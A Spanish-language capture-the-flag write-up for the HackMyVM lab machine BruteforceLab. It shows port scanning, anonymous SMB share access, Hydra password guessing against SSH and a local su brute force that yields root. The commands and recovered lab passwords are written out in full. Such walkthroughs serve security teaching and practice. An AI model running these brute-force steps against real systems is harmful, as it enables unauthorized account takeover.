cd ~/blog

~/writeups/hmv/088-bruteforcelab.md

088 - BruteforceLab

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Anonymous SMB Share AccessWeak PasswordPassword Guessing
hackmyvm.eu/machines/machine.php?vm=BruteforceLab

~1 min de lectura


Enumeración de servicios

El escaneo completo descubre SSH, Webmin y dos servicios SMB en puertos no estándar (19000 y 19222). Este último detalle es importante: las herramientas SMB deben recibir el puerto explícitamente porque, de lo contrario, probarían sólo el 445 convencional:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.155
❯ nmap -sCV -p22,10000,19000,19222 -oN 02-targeted.txt 192.168.1.155
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 16:04 -04
Nmap scan report for 192.168.1.155
Host is up (0.00028s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
10000/tcp open  http        MiniServ 2.021 (Webmin httpd)
|_http-title: 200 — Document follows
19000/tcp open  netbios-ssn Samba smbd 4.6.2
19222/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.94 seconds

Enumeración de SMB

Consultamos SMB en 19000 sin proporcionar credenciales y comprobamos que el recurso Test permite acceso anónimo:

❯ smbclient -L //192.168.1.155// -p 19000
...
	Sharename       Type      Comment
	---------       ----      -------
	Test            Disk
...

❯ smbclient //192.168.1.155/test -p 19000
smb: \> ls
  README.txt                          N      115  Sun Mar 26 16:06:46 2023
smb: \> get README.txt

El archivo README.txt no contiene una contraseña, pero sí revela el nombre Andrea. Lo tratamos como un posible usuario del sistema y reducimos así la fuerza bruta a una sola cuenta:

❯ cat README.txt
Hey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctly

Acceso inicial mediante SSH

Probamos el usuario andrea contra SSH con el diccionario rockyou.txt. Hydra encuentra awesome, lo que confirma password guessing exitoso contra una contraseña débil:

❯ hydra -l andrea -P ~/Documentos/wordlists/rockyou.txt 192.168.1.155 ssh -t 64
...
[22][ssh] host: 192.168.1.155   login: andrea   password: awesome
...

Las credenciales permiten iniciar sesión por SSH y recuperar la primera flag.

Escalada de privilegios mediante Weak Password

Para comprobar si root utiliza una contraseña débil, ejecutamos su-bruteforce desde la propia máquina. A diferencia del ataque a SSH, esta prueba invoca su localmente para cada candidato; los intervalos configurados reducen errores por exceso de intentos. No hay evidencia de que 1998 se reutilice en otro servicio, así que lo clasificamos como contraseña débil y no como Credential Reuse:

andrea@LAB-Bruteforce:/tmp$ ./suBF.sh -u root -t 0.7 -s 0.05
  [+] Bruteforcing root...
  You can login as root using password: 1998

La herramienta identifica 1998. Nos autenticamos con su root y verificamos el cambio de identidad con id o whoami antes de leer la flag final. La cadena completa depende de dos contraseñas débiles: una expone la cuenta andrea por SSH y la segunda permite convertir ese acceso en una sesión de root.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados